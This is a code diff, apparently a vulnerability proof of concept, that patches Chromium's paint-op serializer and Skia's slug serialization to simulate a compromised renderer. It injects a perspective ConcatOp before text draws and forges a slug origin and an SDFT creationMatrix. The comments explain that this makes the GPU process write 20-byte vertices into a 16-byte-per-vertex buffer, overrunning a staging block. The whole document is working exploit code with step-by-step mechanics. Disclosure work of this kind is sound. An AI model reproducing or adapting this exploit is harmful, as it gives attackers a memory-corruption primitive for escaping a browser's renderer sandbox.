diff --git a/cc/paint/paint_op_buffer_serializer.cc b/cc/paint/paint_op_buffer_serializer.cc
index 535d2f5e4b51a..fed930a0c65cf 100644
--- a/cc/paint/paint_op_buffer_serializer.cc
+++ b/cc/paint/paint_op_buffer_serializer.cc
@@ -4,6 +4,7 @@
 
 #include "cc/paint/paint_op_buffer_serializer.h"
 
+#include <cstdio>
 #include <limits>
 #include <memory>
 #include <utility>
@@ -403,6 +404,32 @@ bool PaintOpBufferSerializer::SerializeOp(SkCanvas* canvas,
   // correctly for analysis of records in filters.
   PlaybackOnAnalysisCanvas(canvas, op, flags_to_serialize, params);
 
+  // ---- POC INJECTION (compromised-renderer simulation) ----
+  // Before serializing a DrawTextBlob (which is sent over the wire as a
+  // DrawSlug), inject a perspective ConcatOp into the GPU-process raster
+  // stream. This is *not* applied to the local analysis canvas, so the slug
+  // we just built above used an affine CTM and produced an SDFT subrun with a
+  // scale-only creationMatrix. The GPU side will replay the perspective
+  // concat, so localToDevice() at drawSlug time has perspective. Paired with
+  // the forged perspective creationMatrix written by SDFTSubRun::doFlatten,
+  // viewDifference becomes affine while positionMatrix stays perspective ->
+  // the SDF GeometryProcessor allocates 16B/vertex but fillVertexData writes
+  // 20B/vertex (Mask3DVertex), overrunning the GrCpuBuffer staging block.
+  if (op.GetType() == PaintOpType::kDrawTextBlob) {
+    // Use persp0 (m[3][0]) so SkDevice::setGlobalCTM's normalizePerspective()
+    // can't collapse it back to affine.
+    SkM44 persp;
+    persp.setRC(3, 0, 0.0078125f);  // -> SkMatrix kMPersp0 = 1/128
+    ConcatOp persp_concat(persp);
+    size_t cb =
+        serialize_cb_(callback_data_, persp_concat, options_, nullptr,
+                      canvas->getLocalToDevice(), params.original_ctm);
+    fprintf(stderr,
+            "[POC] renderer: injected ConcatOp bytes=%zu m33.persp0=%f\n",
+            cb, persp.asM33().get(SkMatrix::kMPersp0));
+  }
+  // ---- END POC INJECTION ----
+
   size_t bytes = serialize_cb_(callback_data_, op, options_, flags_to_serialize,
                                canvas->getLocalToDevice(), params.original_ctm);
   if (!bytes) {
diff --git a/src/text/gpu/SlugImpl.cpp b/src/text/gpu/SlugImpl.cpp
index 2895fac678e..198e28cbf66 100644
--- a/src/text/gpu/SlugImpl.cpp
+++ b/src/text/gpu/SlugImpl.cpp
@@ -38,7 +38,13 @@ SlugImpl::SlugImpl(SubRunAllocator&& alloc,
 
 void SlugImpl::doFlatten(SkWriteBuffer& buffer) const {
     buffer.writeRect(fSourceBounds);
-    buffer.writePoint(fOrigin);
+    // ---- POC INJECTION (compromised-renderer simulation) ----
+    // Forge the slug origin to (0,0) so the GPU-side
+    // positionMatrix = localToDevice() * T(origin) equals localToDevice()
+    // exactly, letting the forged perspective creationMatrix cancel out of
+    // viewDifference with no residual translate term.
+    buffer.writePoint(SkPoint{0, 0});
+    // ---- END POC INJECTION ----
     fSubRuns->flattenAllocSizeHint(buffer);
     fSubRuns->flattenRuns(buffer);
 }
diff --git a/src/text/gpu/SubRunContainer.cpp b/src/text/gpu/SubRunContainer.cpp
index bd5f827cc93..d260d9e041e 100644
--- a/src/text/gpu/SubRunContainer.cpp
+++ b/src/text/gpu/SubRunContainer.cpp
@@ -7,6 +7,8 @@
 
 #include "src/text/gpu/SubRunContainer.h"
 
+#include <cstdio>
+
 #include "include/core/SkCanvas.h"
 #include "include/core/SkDrawable.h"
 #include "include/core/SkFont.h"
@@ -985,7 +987,25 @@ protected:
         buffer.writeInt(fAntiAliased);
         fMatrixRange.flatten(buffer);
         fGlyphVector.flatten(buffer);
-        flatten_vertex_filler(buffer, fVertexFiller);
+        // ---- POC INJECTION (compromised-renderer simulation) ----
+        // Forge a perspective creationMatrix for the serialized SDFT subrun so
+        // that, on the GPU side, viewDifference = positionMatrix * forged^-1
+        // collapses to an affine matrix even though positionMatrix itself has
+        // perspective (set up by the injected ConcatOp in
+        // cc/paint/paint_op_buffer_serializer.cc). Chosen matrix: diag(1,1,2).
+        buffer.writeInt(static_cast<int>(fVertexFiller.maskFormat()));
+        buffer.writeBool(fVertexFiller.canDrawDirect());
+        SkMatrix forged;
+        forged.setAll(1, 0, 0,
+                      0, 1, 0,
+                      0.0078125f, 0, 1);
+        fprintf(stderr,
+                "[POC] renderer: forging SDFT creationMatrix persp0=1/128, "
+                "glyphCount=%d\n",
+                fGlyphVector.glyphCount());
+        buffer.writeMatrix(forged);
+        buffer.writePointArray(fVertexFiller.topLefts());
+        // ---- END POC INJECTION ----
     }
 
 private: